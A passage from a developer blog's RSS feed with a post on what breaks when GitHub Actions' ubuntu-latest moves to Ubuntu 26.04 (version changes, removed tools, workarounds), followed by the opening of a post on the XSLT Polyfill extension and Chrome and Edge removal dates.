2030) and consider 19 once the first minor releases are out; for a new project 19 is a reasonable choice. &lt;/p&gt; &lt;/details&gt; &lt;/div&gt; &lt;/section&gt;</content:encoded><category>Web Development</category><category>PostgreSQL</category><category>Laravel</category><category>Databases</category><category>End of Life</category><category>Migration</category><author>Marco Orta</author></item><item><title>What Breaks When ubuntu-latest Moves to Ubuntu 26.04 in GitHub Actions</title><link>https://ortamarco.me/en/blog/what-breaks-ubuntu-latest-ubuntu-26-04/</link><guid isPermaLink="true">https://ortamarco.me/en/blog/what-breaks-ubuntu-latest-ubuntu-26-04/</guid><description>GitHub moves ubuntu-latest from Ubuntu 24.04 to 26.04 between Oct 19 and Nov 19, 2026. What changes (Node 24, PHP 8.5, Docker 29, Java 25), the removed tools, and how to pin ubuntu-24.04.</description><pubDate>Fri, 13 Nov 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;GitHub is moving the &lt;code&gt;ubuntu-latest&lt;/code&gt; label from Ubuntu 24.04 to Ubuntu 26.04: the rollout began on October 19, 2026 and GitHub says it will finish on November 19.&lt;/strong&gt; If your workflow says &lt;code&gt;runs-on: ubuntu-latest&lt;/code&gt;, during these weeks some jobs already run on 26.04 and others still on 24.04, so a failure that comes and goes without you touching anything has an obvious suspect. What changes underneath is a lot: kernel 7.0, Node 24 by default, PHP 8.5, Python 3.14, Docker 29, Java 25 and eleven tools that are no longer preinstalled.&lt;/p&gt;
&lt;p&gt;The emergency fix fits on one line (&lt;code&gt;runs-on: ubuntu-24.04&lt;/code&gt;) and comes from GitHub’s own notice. What follows is so you know &lt;em&gt;what&lt;/em&gt; breaks before deciding whether to pin the version or migrate. Everything comes from the notices and the image README in &lt;a href=&quot;https://github.com/actions/runner-images&quot;&gt;actions/runner-images&lt;/a&gt;, checked on November 13, 2026; where something is an open user report rather than a GitHub decision, I say so.&lt;/p&gt;
&lt;h2 id=&quot;the-calendar&quot;&gt;The calendar&lt;/h2&gt;








































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Date&lt;/th&gt;&lt;th&gt;What happened or happens&lt;/th&gt;&lt;th&gt;Source&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Jun 11, 2026&lt;/td&gt;&lt;td&gt;Ubuntu 26.04 and 26.04 Arm in public preview&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://github.com/actions/runner-images/issues/14226&quot;&gt;#14226&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Sep 17, 2026&lt;/td&gt;&lt;td&gt;General availability: &lt;code&gt;ubuntu-26.04&lt;/code&gt; and &lt;code&gt;ubuntu-26.04-arm&lt;/code&gt; labels&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://github.com/actions/runner-images/issues/14747&quot;&gt;#14747&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Sep 17, 2026&lt;/td&gt;&lt;td&gt;Notice that &lt;code&gt;ubuntu-latest&lt;/code&gt; will move to 26.04&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://github.com/actions/runner-images/issues/14748&quot;&gt;#14748&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Oct 19, 2026&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Gradual rollout of &lt;code&gt;ubuntu-latest&lt;/code&gt; begins&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://github.com/actions/runner-images/issues/14748&quot;&gt;#14748&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Nov 19, 2026&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Planned end of the migration&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://github.com/actions/runner-images/issues/14748&quot;&gt;#14748&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Apr 17, 2027&lt;/td&gt;&lt;td&gt;&lt;code&gt;ubuntu-22.04&lt;/code&gt; is retired&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://github.com/actions/runner-images/issues/14254&quot;&gt;#14254&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;The notice is about the &lt;strong&gt;x64&lt;/strong&gt; &lt;code&gt;ubuntu-latest&lt;/code&gt; label; pinned labels (&lt;code&gt;ubuntu-24.04&lt;/code&gt;, &lt;code&gt;ubuntu-26.04&lt;/code&gt;) don’t change meaning. It’s the same mechanic as &lt;a href=&quot;https://ortamarco.me/en/blog/what-breaks-github-actions-fall-2026/&quot;&gt;what broke in GitHub Actions this fall&lt;/a&gt;: the notice comes weeks ahead and almost nobody reads it until a job fails.&lt;/p&gt;
&lt;h2 id=&quot;what-changes-in-the-image&quot;&gt;What changes in the image&lt;/h2&gt;
&lt;p&gt;The table compares the &lt;a href=&quot;https://github.com/actions/runner-images/blob/main/images/ubuntu/Ubuntu2404-Readme.md&quot;&gt;Ubuntu 24.04&lt;/a&gt; README (image &lt;code&gt;20261111&lt;/code&gt;) with the &lt;a href=&quot;https://github.com/actions/runner-images/blob/main/images/ubuntu/Ubuntu2604-Readme.md&quot;&gt;Ubuntu 26.04&lt;/a&gt; one (image &lt;code&gt;20261101&lt;/code&gt;). Exact versions change with every weekly image; what matters is the major-line jump.&lt;/p&gt;











































































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Component&lt;/th&gt;&lt;th&gt;Ubuntu 24.04&lt;/th&gt;&lt;th&gt;Ubuntu 26.04&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;OS&lt;/td&gt;&lt;td&gt;24.04.5 LTS&lt;/td&gt;&lt;td&gt;26.04.1 LTS&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Kernel&lt;/td&gt;&lt;td&gt;6.17&lt;/td&gt;&lt;td&gt;7.0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;systemd&lt;/td&gt;&lt;td&gt;255&lt;/td&gt;&lt;td&gt;259&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Default Node.js&lt;/td&gt;&lt;td&gt;22.23.4&lt;/td&gt;&lt;td&gt;&lt;strong&gt;24.22.2&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;PHP&lt;/td&gt;&lt;td&gt;8.3.6&lt;/td&gt;&lt;td&gt;&lt;strong&gt;8.5.4&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Python&lt;/td&gt;&lt;td&gt;3.12.3&lt;/td&gt;&lt;td&gt;&lt;strong&gt;3.14.4&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Ruby&lt;/td&gt;&lt;td&gt;3.2.3&lt;/td&gt;&lt;td&gt;3.3.8&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Perl&lt;/td&gt;&lt;td&gt;5.38.2&lt;/td&gt;&lt;td&gt;5.40.1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Docker (client and server)&lt;/td&gt;&lt;td&gt;28.0.4&lt;/td&gt;&lt;td&gt;&lt;strong&gt;29.4.2&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Docker Compose&lt;/td&gt;&lt;td&gt;2.38.2&lt;/td&gt;&lt;td&gt;&lt;strong&gt;5.1.3&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;GCC&lt;/td&gt;&lt;td&gt;13.2&lt;/td&gt;&lt;td&gt;15.2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Default Java&lt;/td&gt;&lt;td&gt;17&lt;/td&gt;&lt;td&gt;&lt;strong&gt;25&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;p7zip-full&lt;/code&gt;&lt;/td&gt;&lt;td&gt;16.02&lt;/td&gt;&lt;td&gt;replaced by &lt;code&gt;7zip&lt;/code&gt; 26.00&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Kernel and systemd numbers are the ones GitHub gives in notice #14748; the rest come from each image’s README.&lt;/p&gt;
&lt;h2 id=&quot;what-breaks-by-impact&quot;&gt;What breaks, by impact&lt;/h2&gt;
&lt;h3 id=&quot;1-default-java-goes-from-17-to-25-and-java-8-is-gone&quot;&gt;1. Default Java goes from 17 to 25, and Java 8 is gone&lt;/h3&gt;
&lt;p&gt;The notice is blunt: “Default version updated to Java 25”. A Maven or Gradle build that doesn’t declare a version (no &lt;code&gt;actions/setup-java&lt;/code&gt;) no longer compiles with 17. Also, the 26.04 JDK list is 11, 17, 21 and 25: &lt;strong&gt;there is no &lt;code&gt;JAVA_HOME_8_X64&lt;/code&gt;&lt;/strong&gt;, while 24.04 did ship a Java 8. The fix is the usual one and works on any image: declare the version.&lt;/p&gt;
&lt;pre class=&quot;language-yaml&quot; data-language=&quot;yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/setup&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;java@v4
  &lt;span class=&quot;token key atrule&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;distribution&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; temurin
    &lt;span class=&quot;token key atrule&quot;&gt;java-version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;21&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;2-docker-29-and-compose-5&quot;&gt;2. Docker 29 and Compose 5&lt;/h3&gt;
&lt;p&gt;Docker goes from 28.0.4 to 29.4.2 and Compose from 2.38.2 to 5.1.3. I haven’t tested your pipelines, but two open reports are worth knowing:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;i386 containers with no network.&lt;/strong&gt; In &lt;a href=&quot;https://github.com/actions/runner-images/issues/14790&quot;&gt;#14790&lt;/a&gt; a user reports that Docker 29.4.2 ships a seccomp profile that blocks &lt;code&gt;socketcall(2)&lt;/code&gt;; i386 images on glibc can’t resolve names. Per the report, Docker 29.4.3 or later reverts it. musl-based images (&lt;code&gt;i386/alpine&lt;/code&gt;) aren’t affected. It’s a user report, not a GitHub note; today’s README still lists 29.4.2.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disk space.&lt;/strong&gt; In &lt;a href=&quot;https://github.com/actions/runner-images/issues/15233&quot;&gt;#15233&lt;/a&gt; someone reports that a &lt;code&gt;docker build&lt;/code&gt; with a large layer ran out of space on &lt;code&gt;ubuntu-latest&lt;/code&gt; during the rollout and finished after pinning &lt;code&gt;ubuntu-24.04&lt;/code&gt;. It’s a single open case with no confirmed cause: don’t take it as fact, but if your big image builds start failing with “no space left on device”, that’s the first place to look.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;3-default-node-php-and-python-move-a-major-line&quot;&gt;3. Default Node, PHP and Python move a major line&lt;/h3&gt;
&lt;p&gt;If your job uses the system &lt;code&gt;node&lt;/code&gt;, &lt;code&gt;php&lt;/code&gt; or &lt;code&gt;python3&lt;/code&gt; instead of &lt;code&gt;setup-node&lt;/code&gt;, &lt;code&gt;setup-php&lt;/code&gt; or &lt;code&gt;setup-python&lt;/code&gt;, it now runs Node 24, PHP 8.5 and Python 3.14. A project on Laravel 12 runs fine on PHP 8.5 (Laravel 12 supports 8.2 to 8.5, per the &lt;a href=&quot;https://laravel.com/docs/13.x/releases&quot;&gt;release notes&lt;/a&gt;), but one with dependencies that don’t declare 8.5 can fail at &lt;code&gt;composer install&lt;/code&gt;. The fix is to stop relying on the default: &lt;code&gt;shivammathur/setup-php&lt;/code&gt; with &lt;code&gt;php-version: &amp;#39;8.3&amp;#39;&lt;/code&gt; and &lt;code&gt;actions/setup-node&lt;/code&gt; with &lt;code&gt;node-version: 22&lt;/code&gt; or &lt;code&gt;26&lt;/code&gt; (&lt;a href=&quot;https://ortamarco.me/en/blog/what-breaks-upgrading-to-node-26/&quot;&gt;what changes in Node 26&lt;/a&gt;).&lt;/p&gt;
&lt;h3 id=&quot;4-tools-no-longer-preinstalled&quot;&gt;4. Tools no longer preinstalled&lt;/h3&gt;
&lt;p&gt;Comparing the two READMEs, these eleven disappear from 26.04: &lt;strong&gt;Fastlane, Haveged, Julia, Lerna, MediaInfo, Mercurial, Miniconda, Newman, Parcel, Pulumi and Sphinx Open Source Search Server&lt;/strong&gt;. I found no GitHub notice listing them; it’s the result of diffing the two READMEs’ tool lists on November 13, so if one is missing from my list it’s because I didn’t detect it. A &lt;code&gt;lerna run&lt;/code&gt; or &lt;code&gt;pulumi up&lt;/code&gt; that used to “just work” now gives &lt;code&gt;command not found&lt;/code&gt;; install it in the job (&lt;code&gt;npm i -g lerna&lt;/code&gt;, &lt;code&gt;pulumi/actions&lt;/code&gt;, etc.).&lt;/p&gt;
&lt;p&gt;One system-package detail: &lt;code&gt;p7zip-full&lt;/code&gt; and &lt;code&gt;p7zip-rar&lt;/code&gt; became &lt;code&gt;7zip&lt;/code&gt; and &lt;code&gt;7zip-rar&lt;/code&gt;. If your workflow runs &lt;code&gt;apt-get install p7zip-full&lt;/code&gt;, check the package still exists on 26.04 or switch it to &lt;code&gt;7zip&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;5-finer-system-details&quot;&gt;5. Finer system details&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/etc/sysctl.conf&lt;/code&gt; isn’t applied at boot.&lt;/strong&gt; &lt;a href=&quot;https://github.com/actions/runner-images/issues/15108&quot;&gt;#15108&lt;/a&gt; (open): the image writes &lt;code&gt;fs.inotify.max_user_instances=1280&lt;/code&gt; and &lt;code&gt;max_user_watches=655360&lt;/code&gt;, but on 26.04 the kernel keeps 128 and 64097 because systemd no longer reads that file. If a file watcher (Vite, Jest in watch mode, webpack) fails with &lt;code&gt;ENOSPC&lt;/code&gt; or “too many open files”, this is it. Your job can raise them with &lt;code&gt;sudo sysctl -w&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;setfacl&lt;/code&gt; fails.&lt;/strong&gt; &lt;a href=&quot;https://github.com/actions/runner-images/issues/15004&quot;&gt;#15004&lt;/a&gt; (open) reports it breaking &lt;code&gt;openai/codex-action&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rootless Podman&lt;/strong&gt; has AppArmor reports (&lt;a href=&quot;https://github.com/actions/runner-images/issues/15184&quot;&gt;#15184&lt;/a&gt;, &lt;a href=&quot;https://github.com/actions/runner-images/issues/15182&quot;&gt;#15182&lt;/a&gt;). If you use Podman instead of Docker, read both.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Azure DevOps:&lt;/strong&gt; the agent user changed from &lt;code&gt;vsts&lt;/code&gt; to &lt;code&gt;runner&lt;/code&gt; (&lt;a href=&quot;https://github.com/actions/runner-images/issues/15028&quot;&gt;#15028&lt;/a&gt;); it affects &lt;code&gt;/home/...&lt;/code&gt; paths. It doesn’t touch standard GitHub Actions.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;how-to-know-if-youre-affected&quot;&gt;How to know if you’re affected&lt;/h2&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Workflows using ubuntu-latest (the affected ones)&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-rn&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;ubuntu-latest&amp;quot;&lt;/span&gt; .github/workflows/

&lt;span class=&quot;token comment&quot;&gt;# Across an organization, with the GitHub CLI&lt;/span&gt;
gh search code &lt;span class=&quot;token string&quot;&gt;&amp;quot;ubuntu-latest&amp;quot;&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--owner&lt;/span&gt; YOUR_ORG &lt;span class=&quot;token parameter variable&quot;&gt;--filename&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;*.yml&amp;quot;&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--limit&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To see which system a job actually ran on, add a first step to the workflow: &lt;code&gt;cat /etc/os-release | grep VERSION=&lt;/code&gt;. During the rollout, the same workflow can give 24.04 today and 26.04 tomorrow.&lt;/p&gt;
&lt;h2 id=&quot;what-to-do&quot;&gt;What to do&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Test on 26.04 now&lt;/strong&gt; without touching the main workflow: a copy with &lt;code&gt;runs-on: ubuntu-26.04&lt;/code&gt; (GitHub recommends it in the notice to test the new image explicitly).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If it fails and you have no time:&lt;/strong&gt; pin &lt;code&gt;runs-on: ubuntu-24.04&lt;/code&gt;. It’s the escape hatch the notice itself offers. It isn’t a permanent fix: a pinned label stops getting new images someday, and I found no retirement date for 24.04 in today’s notices, so check &lt;a href=&quot;https://github.com/actions/runner-images/issues&quot;&gt;actions/runner-images&lt;/a&gt; from time to time.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Declare explicit versions&lt;/strong&gt; of Java, Node, PHP and Python with the &lt;code&gt;setup-*&lt;/code&gt; actions. It’s what keeps the next &lt;code&gt;ubuntu-latest&lt;/code&gt; change from surprising you.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stop depending on preinstalled tools&lt;/strong&gt; that aren’t in common use: install them in the job.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This site’s CI runs on &lt;code&gt;ubuntu-latest&lt;/code&gt; (with a configurable fallback) and declares Node 24 with &lt;code&gt;actions/setup-node&lt;/code&gt;, so it doesn’t depend on the system Node: it’s the rule I apply, nothing that matters is inherited from the image.&lt;/p&gt;
 &lt;section class=&quot;not-prose my-10&quot;&gt; &lt;h2 class=&quot;mb-6 font-fraunces text-3xl font-bold text-blacktext dark:text-white&quot;&gt; Frequently asked questions &lt;/h2&gt; &lt;div class=&quot;flex flex-col gap-3&quot;&gt; &lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; When does ubuntu-latest move to Ubuntu 26.04? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; GitHub began the gradual rollout on October 19, 2026 and plans to finish on November 19, 2026, per notice 14748 in actions/runner-images. While it lasts, the same workflow can run on 24.04 or on 26.04. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; How do I stay on Ubuntu 24.04? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Change runs-on: ubuntu-latest to runs-on: ubuntu-24.04. It is the mitigation GitHub proposes in the notice. To try the new image without migrating everything, use runs-on: ubuntu-26.04 in a copy of the workflow. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Which Node, PHP and Python versions does Ubuntu 26.04 ship on GitHub Actions? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Per the image README of November 1, 2026: Node.js 24.22.2, PHP 8.5.4 and Python 3.14.4 (Ubuntu 24.04 ships Node 22.23.4, PHP 8.3.6 and Python 3.12.3). To avoid depending on the default, use setup-node, setup-php and setup-python. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Which tools were removed from the Ubuntu 26.04 image? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Comparing the 24.04 README with the 26.04 one on November 13, 2026, Fastlane, Haveged, Julia, Lerna, MediaInfo, Mercurial, Miniconda, Newman, Parcel, Pulumi and Sphinx Open Source Search Server no longer appear. GitHub did not publish that list in a notice; it is the result of the comparison. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Does ubuntu-latest also change on ARM runners? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Notice 14748 is about the x64 ubuntu-latest label. The ubuntu-26.04 and ubuntu-26.04-arm labels have existed since September 17, 2026 and can be used explicitly at any time. &lt;/p&gt; &lt;/details&gt; &lt;/div&gt; &lt;/section&gt;</content:encoded><category>Web Development</category><category>GitHub Actions</category><category>CI/CD</category><category>DevOps</category><category>Ubuntu</category><category>Migration</category><author>Marco Orta</author></item><item><title>XSLT Polyfill: the Extension, the One-Line Fix and Edge&apos;s Later Date</title><link>https://ortamarco.me/en/blog/xslt-polyfill-extension-edge/</link><guid isPermaLink="true">https://ortamarco.me/en/blog/xslt-polyfill-extension-edge/</guid><description>Chrome&apos;s XSLT banner says to install an extension. What XSLT Polyfill does, the one line that fixes a styled sitemap or feed, and why Edge removes XSLT in December.</description><pubDate>Fri, 23 Oct 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;The red “This site uses XSLT” banner ends with a suggestion: “You might be able to install a browser extension”. The extension is XSLT Polyfill: libxslt compiled to WebAssembly, running in your browser after Chrome removes its own copy. If you run the site, the same polyfill is one &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; line in your XML. I tested that line on a styled sitemap and an RSS feed in Chrome with XSLT turned off, and both rendered exactly as before, with no banner. One more thing the searches are asking about: Microsoft Edge does not remove XSLT with Chrome. It does it one release later, in Edge 159, in the week of 10 December 2026.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is the follow-up to &lt;a href=&quot;https://ortamarco.me/en/blog/chrome-removes-xslt-what-breaks/&quot;&gt;Chrome removes XSLT: what breaks&lt;/a&gt;, which covers the full timeline, what the banner means and the CFDI invoice code that actually breaks. This post is only about the fixes the banner points to.&lt;/p&gt;
&lt;h2 id=&quot;which-fix-is-yours&quot;&gt;Which fix is yours&lt;/h2&gt;



































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;You are&lt;/th&gt;&lt;th&gt;What you see&lt;/th&gt;&lt;th&gt;Fix&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;A visitor in Chrome&lt;/td&gt;&lt;td&gt;The red banner on someone else’s page&lt;/td&gt;&lt;td&gt;Nothing until 17 November. After that, the XSLT Polyfill extension, or ask the site owner&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;A visitor in Edge&lt;/td&gt;&lt;td&gt;The same banner&lt;/td&gt;&lt;td&gt;The same extension, installed from the Chrome Web Store. Your deadline is December&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;IT for a company app you cannot change&lt;/td&gt;&lt;td&gt;The banner on an intranet, a device panel or a vendor app&lt;/td&gt;&lt;td&gt;The &lt;code&gt;XSLTEnabled&lt;/code&gt; policy, in Chrome and in Edge, until August 2027&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;The owner of a styled sitemap or feed&lt;/td&gt;&lt;td&gt;The banner on your own &lt;code&gt;.xml&lt;/code&gt;&lt;/td&gt;&lt;td&gt;The one-line polyfill, or drop the stylesheet&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;The owner of JavaScript that calls &lt;code&gt;XSLTProcessor&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Console warnings, and &lt;code&gt;ReferenceError&lt;/code&gt; from Chrome 158&lt;/td&gt;&lt;td&gt;Load the polyfill before your code, or move the transform to the server&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;h2 id=&quot;the-dates-chrome-and-edge&quot;&gt;The dates, Chrome and Edge&lt;/h2&gt;
&lt;p&gt;Chrome dates come from &lt;a href=&quot;https://chromiumdash.appspot.com/fetch_milestone_schedule?mstone=158&quot;&gt;Chromium Dash&lt;/a&gt; and &lt;a href=&quot;https://developer.chrome.com/docs/web-platform/deprecating-xslt&quot;&gt;Chrome’s announcement&lt;/a&gt;. Edge dates come from the &lt;a href=&quot;https://learn.microsoft.com/en-us/deployedge/microsoft-edge-release-schedule&quot;&gt;Edge release schedule&lt;/a&gt; and Microsoft 365 message MC1509789, published 15 October 2026. All checked on 23 October.&lt;/p&gt;






























&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Milestone&lt;/th&gt;&lt;th&gt;Chrome&lt;/th&gt;&lt;th&gt;Edge&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Red banner on XSLT pages&lt;/td&gt;&lt;td&gt;Chrome 154, 22 Sep 2026&lt;/td&gt;&lt;td&gt;Already showing (Edge 154 shipped 24 Sep)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Beta of the removing version&lt;/td&gt;&lt;td&gt;Chrome 158, 28 Oct&lt;/td&gt;&lt;td&gt;Edge 159, week of 17 Nov&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;XSLT off in Stable&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Chrome 158, 17 Nov 2026&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Edge 159, week of 10 Dec 2026&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Enterprise policy and Origin Trial end&lt;/td&gt;&lt;td&gt;Chrome 176, 17 Aug 2027&lt;/td&gt;&lt;td&gt;Edge 176, “Summer 2027”&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Microsoft’s wording is that in Edge 159 browser-native XSLT “will be off by default in Stable”, and it lists the reason as reducing attack surface. Edge 158 ships in the week of 19 November with XSLT still on. That is about three extra weeks for Edge users, nothing more: every Edge user who sees the banner today will lose XSLT before the year ends.&lt;/p&gt;
&lt;h2 id=&quot;if-you-are-a-visitor-the-xslt-polyfill-extension&quot;&gt;If you are a visitor: the XSLT Polyfill extension&lt;/h2&gt;
&lt;p&gt;The banner’s “install a browser extension” link opens a Chrome Web Store search for “XSLT Polyfill”. The result Chrome’s own announcement links to is &lt;a href=&quot;https://chromewebstore.google.com/detail/xslt-polyfill/hlahhpnhgficldhfioiafojgdhcppklm&quot;&gt;this one&lt;/a&gt;. On 23 October the listing showed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Version 1.0.25&lt;/strong&gt;, updated 20 October 2026, 514 KiB.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;100,000 users&lt;/strong&gt;, 4.2 stars from 10 ratings.&lt;/li&gt;
